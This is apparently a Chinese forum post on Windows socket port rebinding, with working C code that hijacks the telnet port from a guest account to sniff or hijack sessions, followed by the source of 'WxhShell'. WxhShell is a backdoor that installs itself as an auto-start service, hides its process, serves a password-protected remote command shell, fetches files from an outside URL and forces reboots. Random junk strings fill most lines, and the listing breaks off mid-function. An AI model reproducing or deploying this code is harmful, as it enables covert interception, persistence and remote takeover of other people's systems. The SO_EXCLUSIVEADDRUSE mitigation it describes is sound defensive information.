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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V]I+>Zn| 7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o(_~ st<  
s@c.nT%BYL  
  saddr.sin_family = AF_INET; ); <Le6  
c (Gl3^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q!_@Am"h  
mfpL?N  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `tb@x ^  
KJ&~z? X  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rAZsVnk?  
cw)'vAE  
  这意味着什么?意味着可以进行如下的攻击: ubvXpK:.  
C-6m[W8S  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4RXF.kJ3=  
5? rR'0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3"XS#~l%  
",&c"r4c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g =)djXW  
]fgYO+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Hg}@2n)/  
AECaX4h+_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d/4kF  
lp=8RbQYC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (#"iZv,  
ID1/N)5 6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f/Q7WXl0  
IR<`OA  
  #include 3S_H hvB  
  #include F;,LY:s|Z  
  #include V;}6C&aP.  
  #include    KKLW-V\6K  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Rw9 *!<Izt  
  int main() BDCFToSf|  
  { 3+v+_I>%k  
  WORD wVersionRequested; =*Ad  
  DWORD ret; l~v BA$,  
  WSADATA wsaData; D>~S-]  
  BOOL val; 4H\+vJPM  
  SOCKADDR_IN saddr; ^s=p'&6  
  SOCKADDR_IN scaddr; 4:Bpz;x  
  int err; ~>]/1JFz  
  SOCKET s; WKwU:im  
  SOCKET sc; m {)F9F  
  int caddsize; \HsrUZ~  
  HANDLE mt; [,1\>z|&  
  DWORD tid;   0,x<@.pW  
  wVersionRequested = MAKEWORD( 2, 2 ); EN!Q]O|  
  err = WSAStartup( wVersionRequested, &wsaData ); :',Q6j(s  
  if ( err != 0 ) { 7P2?SW^  
  printf("error!WSAStartup failed!\n"); z2GT9  
  return -1; MCcWRbE5#  
  } ?TXe.h|u  
  saddr.sin_family = AF_INET; V9"?}cR/W;  
   tLzX L *  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 TnvX&Y'  
<RMrp@[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5yhfCe m|  
  saddr.sin_port = htons(23); ETA 1\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?H.7 WtTC  
  { [$D4U@mRp  
  printf("error!socket failed!\n"); mCY+V~^~kz  
  return -1; 1ukCH\YgU  
  } lVmm`q6n9  
  val = TRUE; %O<  qw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [H!8m7i;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zU7/P|Dw+  
  { b2Jgg&?G  
  printf("error!setsockopt failed!\n"); z^q ~|7  
  return -1; ]5=C3Y  
  } l]GUQcN=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -brn&1oJ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F9SkEf]99  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mJ3|UClPS  
<CJ`A5N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sBo|e]m#  
  { w53+k\.  
  ret=GetLastError(); zeZ}P>C  
  printf("error!bind failed!\n"); r^$4]@Wn  
  return -1; dIUg e`O9  
  } k7\h- yn{  
  listen(s,2); ^q uv`d  
  while(1) UUF;Q0X  
  { iw$n*1M  
  caddsize = sizeof(scaddr); ;6?VkF  
  //接受连接请求 'z=QV{ni  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y_}DF.>I P  
  if(sc!=INVALID_SOCKET) 9Xu O\+z  
  { *{y/wgX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \Q5Jg  
  if(mt==NULL) =nmvG%.hd  
  { O'G,   
  printf("Thread Creat Failed!\n"); Vf'r6Rf  
  break; !P6\-.  
  } v/Z!Wp1LV  
  } .\?)O+J!  
  CloseHandle(mt); UUlrfur~  
  } j0L A  
  closesocket(s); A;4O,p@   
  WSACleanup(); ~?m vV`30&  
  return 0; -I'@4\<  
  }   oA _,jsD4  
  DWORD WINAPI ClientThread(LPVOID lpParam) }h6 N.vz  
  { {bSi3oI  
  SOCKET ss = (SOCKET)lpParam; B[]v[q<  
  SOCKET sc; ?G#T6$E8  
  unsigned char buf[4096]; 5DHFxym'  
  SOCKADDR_IN saddr; /kAu&}  
  long num; P7||d@VW,  
  DWORD val; AvN\^ &G  
  DWORD ret; FE`:1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jG0o-x=X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rdFeDZo&Z)  
  saddr.sin_family = AF_INET; jtMN)TM  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Qo!/n`19  
  saddr.sin_port = htons(23); wuv2bd )+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %Q}T9%Mtj  
  { <Q4yN!6  
  printf("error!socket failed!\n"); -qPYm?$  
  return -1; d@:4se-q+  
  } s5s'$|h"  
  val = 100; Z"# /,?|3@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6+MZ39xC  
  { gZFtV  
  ret = GetLastError(); H^N@fG<*dh  
  return -1; =]OG5b_-Y  
  } kO]],Vy`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @ y (9LSs  
  { 6<h?%j(  
  ret = GetLastError(); v\Y362Xv  
  return -1; 6%K,3R-d  
  } !;YmLJk;hN  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PLi[T4u  
  { nJ.<yrzi  
  printf("error!socket connect failed!\n"); Zz\e:/  
  closesocket(sc); fR=B/`  
  closesocket(ss); mgB7l0)b  
  return -1; 8h&Ed=gi  
  } Hd1e9Q,:|  
  while(1) ;t.LLd  
  { _$+lyea   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l%aiG+z%6}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )$*T>.JA  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o*OaYF'8  
  num = recv(ss,buf,4096,0); RtrESwtR  
  if(num>0) >k6RmN  
  send(sc,buf,num,0); !$:lv)y  
  else if(num==0) '$]u?m  
  break; PQmgv&!DP  
  num = recv(sc,buf,4096,0); ; 7`y##  
  if(num>0) m)A~1+M$)L  
  send(ss,buf,num,0); 'NM$<<0  
  else if(num==0) +v 9@du  
  break; 'g8~uP  
  } I e#LZti  
  closesocket(ss); W2F %E  
  closesocket(sc); :EISms  
  return 0 ; ?mK`Wleh?  
  } Ip/_uDi+!Z  
,= ;d<O8  
o%+8.Tx6wT  
========================================================== 7/ "g} F}Q  
!N4?>[E  
下边附上一个代码,,WXhSHELL $e=pdD~  
\BT8-}  
========================================================== ZiBTe,;  
DK/xHIv8-  
#include "stdafx.h" +H[G D!  
s2*^ PG  
#include <stdio.h> &ACM:&Ob  
#include <string.h> }c>[m,lz  
#include <windows.h> FK MuRy|  
#include <winsock2.h> PYldqY   
#include <winsvc.h> T@[(FVA N  
#include <urlmon.h> OY'490  
sLE@Cm]k  
#pragma comment (lib, "Ws2_32.lib") *&b~cyC  
#pragma comment (lib, "urlmon.lib") aZ%  
-[cl]H)V  
#define MAX_USER   100 // 最大客户端连接数 2Uf}gG)  
#define BUF_SOCK   200 // sock buffer >&0)d7Nu8m  
#define KEY_BUFF   255 // 输入 buffer RO-ABFEi(  
i-(^t1c  
#define REBOOT     0   // 重启 Ou~|Q&f'  
#define SHUTDOWN   1   // 关机 qB`zyd8yu  
;><9R@0  
#define DEF_PORT   5000 // 监听端口 6Q&R,"!$p  
U*G9fpVy  
#define REG_LEN     16   // 注册表键长度 rrGsam\.  
#define SVC_LEN     80   // NT服务名长度 .JNU3%s  
fmDU  
// 从dll定义API Sm;EWz-?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lW! U:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3YyB0BMW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k T$yHB #  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PTfy#  
|fXwH>'sw  
// wxhshell配置信息 WlHw\\ur  
struct WSCFG { *I0{1cST  
  int ws_port;         // 监听端口 p)d0ZAs  
  char ws_passstr[REG_LEN]; // 口令 qRMH[F$`  
  int ws_autoins;       // 安装标记, 1=yes 0=no t'@1FA!)  
  char ws_regname[REG_LEN]; // 注册表键名 {'W\~GnZ  
  char ws_svcname[REG_LEN]; // 服务名 |k~\E|^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \29a@6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =]h5RC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6Sh0%F s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &j}\ZD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M6E.!Cs  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r>N5 ^  
_w+ix9Fr?  
}; 2| u'J  
9/OB!<*V|  
// default Wxhshell configuration bXoj/zek  
struct WSCFG wscfg={DEF_PORT, !br0s(|  
    "xuhuanlingzhe",  k~#F@_  
    1, gd>Op  
    "Wxhshell", 4e d+'-"m  
    "Wxhshell", Sr)rKc  
            "WxhShell Service", q^],K'  
    "Wrsky Windows CmdShell Service", j[ !'l,I  
    "Please Input Your Password: ", {s}@$rW  
  1, wy5vn?T@  
  "http://www.wrsky.com/wxhshell.exe", t.m65  
  "Wxhshell.exe" OHeVm-VC  
    }; * iW>i^  
k~WX6rEJ  
// 消息定义模块 AY['!&T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "(/ 1]EH`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (,eH*/~/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6 flc  
char *msg_ws_ext="\n\rExit."; \HFeEEKH  
char *msg_ws_end="\n\rQuit."; g+gHIb7{  
char *msg_ws_boot="\n\rReboot..."; Uv,_VS(  
char *msg_ws_poff="\n\rShutdown..."; D'e'xU  
char *msg_ws_down="\n\rSave to "; CLI!(8ZW  
vS %r_gf(  
char *msg_ws_err="\n\rErr!"; :_YpS w<Q  
char *msg_ws_ok="\n\rOK!"; *h Ph01  
&) 7umdSgi  
char ExeFile[MAX_PATH]; mc_`:I=  
int nUser = 0; wXf_2qB9  
HANDLE handles[MAX_USER]; is`Eqcj`dr  
int OsIsNt; x0wy3+GZc  
|V{'W-` |[  
SERVICE_STATUS       serviceStatus; 2ul!f7#E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7-81,ADv(  
:70cOt~Z  
// 函数声明 -fu=RR  
int Install(void);  gc@,lNmi  
int Uninstall(void); jj8AV lN  
int DownloadFile(char *sURL, SOCKET wsh); F,^Q'$ !  
int Boot(int flag); HaI  
void HideProc(void); ou6|;*>d  
int GetOsVer(void); IbAGnl{  
int Wxhshell(SOCKET wsl); ^+cf  
void TalkWithClient(void *cs); )`]w\s #  
int CmdShell(SOCKET sock); 6R% I)  
int StartFromService(void); QSf{V(fs  
int StartWxhshell(LPSTR lpCmdLine); xfw)0S  
6bCC6G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +^hFs7je)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #LEK?]y  
DzX5_ kA  
// 数据结构和表定义 c,;-[sn  
SERVICE_TABLE_ENTRY DispatchTable[] = z-nhL=  
{ HErTFY+vC  
{wscfg.ws_svcname, NTServiceMain}, 2bU 3*m^M  
{NULL, NULL} weC$\st:D  
}; SLRQ3<0W_  
(u@p[ncN}  
// 自我安装 i[)H!%RV*  
int Install(void) T%K"^4k  
{ }ex2tkz  
  char svExeFile[MAX_PATH]; tv,iCV  
  HKEY key; |) QE+|?P  
  strcpy(svExeFile,ExeFile); #kT3Sx  
rz0~W6 U  
// 如果是win9x系统,修改注册表设为自启动 3B95t-  
if(!OsIsNt) { s)W^P4<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8E1swH5 z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3=V79&  
  RegCloseKey(key); NK'awv),pM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RajzH2j+>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +K2jYgy  
  RegCloseKey(key); =p|,~q&i  
  return 0; ?cf9q@eAH  
    } gS ~QlW V  
  } [#V?]P\uV  
} O7bTu<h=  
else { e>1z1Q;_uv  
SN O'*?  
// 如果是NT以上系统,安装为系统服务 XJTY91~R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S{aK\>>H  
if (schSCManager!=0) /,A:HM>B  
{ %gDMz7$~  
  SC_HANDLE schService = CreateService ($&i\e31N  
  ( <hgt{b4  
  schSCManager, iqURlI);P  
  wscfg.ws_svcname, ?)k;.<6  
  wscfg.ws_svcdisp, ^0ZabR'  
  SERVICE_ALL_ACCESS, r8rU+4\8<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D_@WB.e L  
  SERVICE_AUTO_START, AjB-&Z  
  SERVICE_ERROR_NORMAL, -4{sr| lm  
  svExeFile, jV`xRjh  
  NULL, dM8`!~#&PI  
  NULL, w$4fS  
  NULL, }7E2,A9_"  
  NULL, GL'zs8AKf  
  NULL !},_,J~(|  
  ); 0|n1O)>J  
  if (schService!=0) 0dA'f0Uy\X  
  { 7 7"'?  
  CloseServiceHandle(schService); 5O<7<O B  
  CloseServiceHandle(schSCManager); E\&~S+:Xp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gq4le=,v  
  strcat(svExeFile,wscfg.ws_svcname); /<)A!Nn+F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `WSm/4 m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |13UJ vR  
  RegCloseKey(key); @#$5_uU8\(  
  return 0; a,IE;5kG  
    } uFNVV;~RFI  
  } &wr0HrE\  
  CloseServiceHandle(schSCManager); `Xvrf  
} [f,; +Ze  
} v<N7o8  
8.bIP ju%v  
return 1; W>+\A"  
} >.N?y@  
XhjH68S(  
// 自我卸载 E c[-@5x  
int Uninstall(void) OD 09XO  
{ < I[ Vv'x  
  HKEY key; p =_K P9  
;HRIB)wF  
if(!OsIsNt) { `8xt!8Z$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S*<+vIo  
  RegDeleteValue(key,wscfg.ws_regname); ] P;Ng=a  
  RegCloseKey(key); 1*<m,.$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X-O/&WRYQ  
  RegDeleteValue(key,wscfg.ws_regname); CEjMHP$=  
  RegCloseKey(key); fvg jqiT  
  return 0; tb#. Y  
  } 5SKj% %B2,  
} :clMO|  
} `b 6j7  
else { ,,vl+Z <&  
YNV4w{>FD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qV2aa9p+  
if (schSCManager!=0) B*#lkMr  
{ T7_i: HU%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  oZTKG'  
  if (schService!=0) r=l hYn  
  { ;2 -%IA,  
  if(DeleteService(schService)!=0) { ;L(2Ffk8  
  CloseServiceHandle(schService); |%.V{vgP7  
  CloseServiceHandle(schSCManager); .jW+\mIX  
  return 0;  K9 h{sC  
  } IF-g %  
  CloseServiceHandle(schService); FY h+G-Y#  
  } ^\:"o  
  CloseServiceHandle(schSCManager); JG-\~'9  
} N9 yL(2  
} gOaL4tu  
H;5FsKIF  
return 1; bC{1LY0  
} 70IBE[T&  
>DqV^%2l  
// 从指定url下载文件 g9~>mJR  
int DownloadFile(char *sURL, SOCKET wsh) D0NSzCHx  
{ HC4qP9Gs  
  HRESULT hr; x`/"1]Nf  
char seps[]= "/"; :s|" ZR  
char *token; t_cNH@^3<3  
char *file; !*#2~$:  
char myURL[MAX_PATH]; H0tj Bnu   
char myFILE[MAX_PATH]; ~kM# lh7At  
J_) .Hd  
strcpy(myURL,sURL); d 2f   
  token=strtok(myURL,seps); Bbk=0+ ^8I  
  while(token!=NULL) a(- ^ .w  
  { C{7 j<O  
    file=token; _qwKFC  
  token=strtok(NULL,seps); ?QuD:v ck  
  } . AJ(nJ)  
uEqL Dg  
GetCurrentDirectory(MAX_PATH,myFILE); NVqJN$z  
strcat(myFILE, "\\"); ^5n"L2 9V  
strcat(myFILE, file); }cUq1r-bW  
  send(wsh,myFILE,strlen(myFILE),0); ghtvAG  
send(wsh,"...",3,0); stn/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .;#Wf @V  
  if(hr==S_OK) ? I7}4i7  
return 0; .URCuB\{  
else -'ff0l  
return 1; G 92\` Q  
Pyfj[m4+}  
} Se*o{V3s$  
N,N9K  
// 系统电源模块 BWRM gN'.  
int Boot(int flag) 4H@:|  
{ #w_cos[I  
  HANDLE hToken; `a *_b9  
  TOKEN_PRIVILEGES tkp; 7OSk0%Q,  
-DWyKR= j"  
  if(OsIsNt) { oT9dMhx8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 90ZMO7_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P_Rh& gkuK  
    tkp.PrivilegeCount = 1; O2z{>\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z^;0{q,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }.bhsy  
if(flag==REBOOT) { h0i/ v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iKs @oHW  
  return 0; AXbDCDA  
} AP1Eiv<Hub  
else { -.XICKz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J@$h'YUF  
  return 0; -qv*%O@  
} <0R$yB  
  } -%R3YU3  
  else { -nM=^ i4)  
if(flag==REBOOT) { =gSa?pd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :xqhPr]e  
  return 0; M.b1=Y  
} :2+,?#W  
else { ,mkXUW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |%p;4b  
  return 0; l;+nL[%`  
} M1UabqQ  
} @D$^- S6  
Tvdg:[V<  
return 1; s @AGU/v  
} [diUO1p  
dY|~"6d)  
// win9x进程隐藏模块 e+`LtEve0  
void HideProc(void) T'W)RYnwl  
{ ,0j7qn@tm  
=rH' \7T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dXwfOC\\  
  if ( hKernel != NULL ) H[H+s!)"  
  { +MHsdeGU1W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /=o~7y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Pn&!C*,  
    FreeLibrary(hKernel); G)<NzZo  
  } x?5D>M/Y  
{Y0Uln5u  
return; 1#]0\Y(  
} :.2Tcq  
F?APDGAN  
// 获取操作系统版本 ..Q$q2.  
int GetOsVer(void) O $ p  
{ 'aj97b;lpG  
  OSVERSIONINFO winfo; mI$<+S1!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "#<P--E9  
  GetVersionEx(&winfo); 0j@nOj(3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #ZzFAt  
  return 1; W>^WNo3YQ$  
  else & B CA  
  return 0; kMJf!%L(  
} ,Z_aZD4  
YB;q5[  
// 客户端句柄模块 ?o0ro?9j  
int Wxhshell(SOCKET wsl) $_ &Lp\  
{ .k_> BD];  
  SOCKET wsh; Z{Si`GA  
  struct sockaddr_in client; 3vcKK;qCB  
  DWORD myID; ]x;*Z&  
KM'*+.I  
  while(nUser<MAX_USER) VaV(+X  
{ |+-D@22 y  
  int nSize=sizeof(client); *O5Ysk^|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |{STkV]  
  if(wsh==INVALID_SOCKET) return 1;  Rix|LKk{  
2b&&3u8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9n\b!*x  
if(handles[nUser]==0) u;@~P  
  closesocket(wsh); s2IjZF{  
else |8m2i1XG  
  nUser++; ca@?-)  
  } 8ch^e[U`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j@ehcK9|  
`<cn b!]  
  return 0; [wLK*9@&  
} S)n+E\c  
9Q*T'+V  
// 关闭 socket DK6^\k][V  
void CloseIt(SOCKET wsh) xAZ-_}'tW  
{ Xyz w.%4c  
closesocket(wsh); 1o Z!Up0  
nUser--; #0:N$'SZ  
ExitThread(0); gG?sLgL:  
} " A4.2  
[5"F=tT7WP  
// 客户端请求句柄 sYMgi D  
void TalkWithClient(void *cs) F"G]afI9+  
{ fV>12ici  
Z?@oe-mz  
  SOCKET wsh=(SOCKET)cs; :gwM$2vv  
  char pwd[SVC_LEN]; VKZZTFmV2)  
  char cmd[KEY_BUFF]; vq?aFX9F  
char chr[1]; P5$L(x%~  
int i,j; b235Zm  
REK(^1 h  
  while (nUser < MAX_USER) { 5LYzX+a)  
OV.f+_LS  
if(wscfg.ws_passstr) { ;z Qrree#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o@5zf{-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); btG+Ak+K*  
  //ZeroMemory(pwd,KEY_BUFF); #?3oGrS Y  
      i=0; ]cKxYX)J  
  while(i<SVC_LEN) { '{-7%>`bn  
;A\SbLM  
  // 设置超时 Y8s.Q  
  fd_set FdRead; K{vn[}  
  struct timeval TimeOut; bE6:pGr  
  FD_ZERO(&FdRead); -zSkon2Y^  
  FD_SET(wsh,&FdRead); }Dc7'GZ  
  TimeOut.tv_sec=8; w>TlM*3D/  
  TimeOut.tv_usec=0; ]b+Nsr~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Szb#:C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h!zev~u1)`  
SNUq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F\Z|JCA  
  pwd=chr[0]; \LEU reTn  
  if(chr[0]==0xd || chr[0]==0xa) { t ;-U  
  pwd=0; X<8   
  break; O8mmS!  
  } O]1aez[  
  i++; -Uj3?W  
    } )8_ x  
S^z t>  
  // 如果是非法用户,关闭 socket p~evPTHnrX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \46 'j.  
} xIb"8,N  
->u}b?aF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cH7Gb|,M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  yh'uH  
kc:>[{9  
while(1) { [" PRxl  
YD@n8?~$$  
  ZeroMemory(cmd,KEY_BUFF); LJ{P93aq`^  
{;2Gl$\r  
      // 自动支持客户端 telnet标准   [AA*B  
  j=0; cvk$ I"q+  
  while(j<KEY_BUFF) { TGSkJ 1Lx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VJoobu1h  
  cmd[j]=chr[0]; p* Q *}V  
  if(chr[0]==0xa || chr[0]==0xd) { I #bta  
  cmd[j]=0; J+:gIszsWT  
  break; >s;>"]  
  } mE)I(< %  
  j++; IwZe2$f  
    } $:u5XJx  
<fm<UO,%  
  // 下载文件 6qF9+r&e ?  
  if(strstr(cmd,"http://")) { '<!T'l:R:/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?H0"*8C?Y  
  if(DownloadFile(cmd,wsh)) 5bHS|<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XPfheV G  
  else ')82a49eA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _q1b3)`D  
  } ;X}!;S%K  
  else { T[\?fSP  
a j13cC$  
    switch(cmd[0]) { VQ(l=k:}2  
  J;#7dRW{  
  // 帮助 n%&+yg   
  case '?': { )Zbrg~-@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <ZXK}5SZ#  
    break; TJ`Jqnh  
  } XnNU-UCX  
  // 安装 }}q_QD_  
  case 'i': { T@?uA*J  
    if(Install()) _@_w6Rh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 277Am*2  
    else 7|Bg--G1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "b `R_gG9  
    break; (O`2$~mIM  
    } ZmKxs^5S  
  // 卸载 Og E<bw  
  case 'r': { vNIQ1x5Za  
    if(Uninstall()) YCI- p p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T8US` MZ  
    else `F,*NESv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jr.4Y>;}e3  
    break; LR:meCOI  
    } &Z%|H>+;T  
  // 显示 wxhshell 所在路径 tjWf`#tH>H  
  case 'p': { oRZ--1oR_  
    char svExeFile[MAX_PATH]; IM8lA  
    strcpy(svExeFile,"\n\r"); RS9mAeX4h  
      strcat(svExeFile,ExeFile); 7:P+S%ZL  
        send(wsh,svExeFile,strlen(svExeFile),0); qf?X:9Wt  
    break; Ns#R`WG)  
    } UWIw/(Mv/]  
  // 重启 l0@+ &Xj  
  case 'b': { d>k"#|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >oasA2S  
    if(Boot(REBOOT)) t{g7 :A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fKQq]&~ H  
    else { Q3P*&6wA  
    closesocket(wsh); >u/ T`$  
    ExitThread(0); <xO" E%t  
    } wu`P=-  
    break; a%NSL6  
    } pe@j`Sm:Ej  
  // 关机 9LK<u$C  
  case 'd': { {OGv1\ol&  
